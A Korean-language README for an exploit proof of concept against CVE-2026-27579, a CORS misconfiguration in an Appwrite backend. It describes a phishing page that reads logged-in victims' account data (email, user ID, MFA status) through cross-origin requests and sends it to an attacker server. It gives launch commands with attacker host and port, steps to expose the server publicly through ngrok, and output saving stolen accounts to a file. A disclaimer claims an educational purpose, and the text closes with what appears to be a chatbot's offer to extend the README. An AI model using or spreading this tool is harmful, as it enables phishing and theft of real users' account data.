
CVE-2026-27579에 대한 Exploit PoC로, Appwrite 백엔드의 CORS 잘못된 구성으로 인해 악성 피싱 페이지를 통해 인증된 계정 데이터 탈취를 시연합니다.
CVE-2026-27579 – 허용적인 CORS로 인한 인증된 계정 데이터 유출
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
realtime-collaboration-platform에서 사용하는 Appwrite 백엔드의 심각한 CORS 오작동으로 인해, 공격자가 제어하는 오리진이 인증된 사용자의 민감한 데이터(이메일, 사용자 ID, MFA 상태 등)를 자격 증명이 포함된 교차 오리진 요청을 통해 로그인한 피해자로부터 읽을 수 있습니다.
Access-Control-Allow-Origin 반사 + Access-Control-Allow-Credentials: true가 설정된 /v1/account 엔드포인트flowchart TD
A[피해자가 CollabPlatform / Appwrite에 로그인됨] --> B[피해자가 공격자가 제어하는 페이지 방문\n피싱 링크 / 악성 광고]
B --> C[브라우저가 세션 쿠키와 함께 GET /v1/account 전송\ncredentials: 'include']
C --> D[Appwrite가 임의의 Origin 반사\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[브라우저가 JavaScript가 응답을 읽도록 허용\nemail, $id, mfa, name, ...]
F --> G[데이터가 공격자 서버로 유출\nPOST /collect]
G --> H[공격자가 전체 계정 정보 수신]--lhost 및 --lport 지원pip install flask
# 기본 사용법
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# 도메인 / 공인 IP 사용
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# 공개 노출용(권장)
# 1. 스크립트 실행
# 2. ngrok 사용: ngrok http 8000
# 3. 코드의 http://<lhost>:<lport>를 ngrok URL로 교체
# (또는 --lhost = your-ngrok-url.ngrok-free.app로 재실행)
실행 시 출력 예시:
[*] 악성 서버 시작 → http://192.168.1.100:8000
[*] 이 링크를 대상에게 전송:
http://192.168.1.100:8000/
피해자가 로그인 상태에서 링크 방문 → 데이터가 터미널에 표시되고 stolen_accounts.txt에 저장됨
이 코드는 교육 목적, 공인된 보안 테스트, 레드팀 훈련, 취약점 연구용으로만 제공됩니다.
명시적인 서면 허가 없이 시스템이나 개인에 대해 무단으로 사용하는 것은 대부분의 관할권에서 불법입니다(컴퓨터 사기, 무단 접근, 데이터 탈취, 피싱 관련 법률 등).
소유하거나 공식적으로 테스트 허가를 받은 환경에서만 사용하십시오.
Mohammed Idrees Banyamer
보안 연구원
요르단
Instagram: @banyamer_security
이 내용을 README.md 파일에 직접 복사하여 붙여넣어도 됩니다.
스크린샷 추가, 배지 색상 변경, 추가 섹션(데모, 완화 등) 포함, 라이선스 배지 / 스타 / 포크 카운터 추가 등이 필요하면 알려주시면 확장해 드리겠습니다.